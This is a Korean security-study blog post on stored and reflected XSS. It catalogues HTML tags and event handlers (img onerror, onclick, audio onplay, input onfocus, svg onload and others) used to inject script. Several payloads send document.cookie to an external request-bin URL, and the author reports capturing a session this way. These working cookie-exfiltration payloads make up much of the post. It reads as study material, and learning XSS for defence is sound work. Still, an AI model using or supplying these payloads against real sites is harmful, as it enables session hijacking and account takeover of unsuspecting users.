wonder

정보보안 스터디 - 6주차 3일 - XSS 이벤트 핸들러 종류 본문

hacking study/XSS

정보보안 스터디 - 6주차 3일 - XSS 이벤트 핸들러 종류

wonder12 2022. 11. 19. 23:48

 

세션을 다른 사이트에 보내려면 location 또는 document.write를 이용하여

쿠키를 Request bin URL으로 전달해야합니다. 

https://eooszq17y6k3gcf.m.pipedream.net

 

 

Stored XSS

 

 

 

 

 

 

글 작성을 했을 때 Burp suite의 응답에서는 작성했던 글 제목, 내용의 파라미터값이 안뜨기 때문에 <" '>가 필터링 되는지 안되는지 정확하게 알기 어렵습니다.

그걸 감안하고 직접 <script>alert(1);</script>을 작성해줍니다. 알림창이 떠서 정상적으로 삽입된 것을 확인할 수 있습니다.

alert가 가능하다는 것은 다른 script태그은 물론 html 삽입이 가능하다는 뜻입니다. 

 

 

 

태그종류

 

 

그럼 이제 어떤 공격을 할지 생각해봐야하는데

1. 기본적으로 script태그 안에다가 넣는 document.write가 있습니다.

1
2
3
<script>
    document.write('<img src="https://eooszq17y6k3gcf.m.pipedream.net/?'+document.cookie+' "/>');
</script>
cs

 

여기서 ' ', " ", +, 는 빼먹지 않고 잘 준수해줘야합니다.

 

 

이렇게 script 태그가 작동하는 제목에 삽입해주고

어느 유저가 클릭하면 자동으로 자기의 URL사이트에 세션값을 붙여서 GET방식으로 보내게 됩니다.

URL사이트는 GET방식으로 받아 세션값을 저장해둡니다.

 

 

세션을 잘 받아 왔습니다.

 

 

2. 두번째 방법으로는 이미지 등 html 태그에 이벤트 핸들러와 함께 삽입하는 방식입니다.

이벤트 핸들러는 자바스크립트로 인식하기 때문에 " " 나 ; 를 필수적으로 쓸 필요는 없습니다. 

 

1
2
<img src="x" onerror=alert(1)>
<img src="x" onerror="document.location='https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie;">
cs

본격적으로 세션탈취 전에 테스트로 먼저 에러가 발생했을 시 알림창을 띄우기를 시도합니다.

 

에러가 발생했을 때 세션과함께 URL사이트로 이동시키는 방식입니다.

 

 

 

에러가 뜨자마자 바로 잘 작동합니다.

 

 

 

3. a 링크를 url처리에서 자바스크립트 처리로 바꾸기

1
<a href="javascript:document.location='https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie;">TEST</a> 
cs

몇몇은 javascript처리로도 작동이 가능합니다.

 

 

 

이런식으로 삽입할 수 있는

html 태그의 종류도 많고 

이벤트핸들러의 종류도 매우 많습니다.

 

 

input 태그, onfocus 이벤트 핸들러

1
2
<input type="text" onfocus="alert(1)" placeholder="클릭하시오" autofocus>
 
cs

입력폼에 포커스를 하면 알림창이 뜹니다. 자동으로 포커싱이 돼서 들어가자마자 작동합니다.

 

img 태그, onclick 이벤트 핸들러

1
2
<img src="https://i.picsum.photos/id/68/200/200.jpg?hmac=CPg7ZGK1PBwt6DmjjPRApX_t-mOiYxt0pel50VH4Gwk" 
onclick="document.location='https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie;" />
cs

이미지를 클릭하면 스크립트가 작동됩니다.

 

 

 

audio태그, onplay 이벤트 핸들러

1
<audio controls src="https://samplelib.com/lib/preview/mp3/sample-3s.mp3" onplay="document.location='https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie; "></audio>
cs

audio를 실행하면 스크립트가 작동됩니다.

 

 

div 태그

1
<div id=x tabindex=1 onfocus=alert(1)>테스트</div>
cs

div 부분을 클릭했을 때 작동합니다.

 

 

object 태그

1
<object data=/ onload=alert(1)></object>
cs

 

외부 소스를 가져올 때 object 태그를 사용합니다.

소스가 로드되었을 때 바로 실행됩니다.

 

svg 태그

1
<svg onload=alert(1)></svg>
cs

 

img 태그, onmouseover 이벤트 핸들러

1
2
<img src="https://i.picsum.photos/id/68/200/200.jpg?hmac=CPg7ZGK1PBwt6DmjjPRApX_t-mOiYxt0pel50VH4Gwk" 
onmouseover=alert(1)>
cs

마우스를 올렸을 때 작동합니다.

 

 

img 태그, onkeypress 이벤트 핸들러

1
2
<img src="https://i.picsum.photos/id/68/200/200.jpg?hmac=CPg7ZGK1PBwt6DmjjPRApX_t-mOiYxt0pel50VH4Gwk" 
onkeypress="alert(1)" contenteditable style=display:block>
cs

키보드를 눌렀을 때 작동합니다.

 

 

h1 태그, oncopy 이벤트 핸들러

1
<h1 oncopy=alert(1)>복사하시오</h1>
cs

 

복사했을 때 작동합니다.

 

 

 

참고로 셋다 문법적으로 가능합니다.

1
2
3
4
5
6
7
8
9
<script>
    document.location="https://eooszq17y6k3gcf.m.pipedream.net?"+document.cookie;
</script>
<script>
    document.location.href="https://eooszq17y6k3gcf.m.pipedream.net?"+document.cookie;
</script>
<script>
    document.location.replace('https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie);
</script>
cs

 

 

 

Reflected XSS

 

Reflected XSS도 마찬가지로 변수에 대해서 반응하는 부분을 찾습니다.

검색기능에서 스크립트를 삽입할 수 있으니

alert('1');

페이로드;

형식으로 만들어주고 뒤에는 주석처리해줍니다.

 

 

 

post방식으로 검색하는거지만 사실상 URL로 접근하는 get방식과 같은 것이기 때문에

get방식으로 바꾼 후 URL에 붙여넣어 스크립트를 실행시켜줍니다.

 

 

 

 

 

 

Comments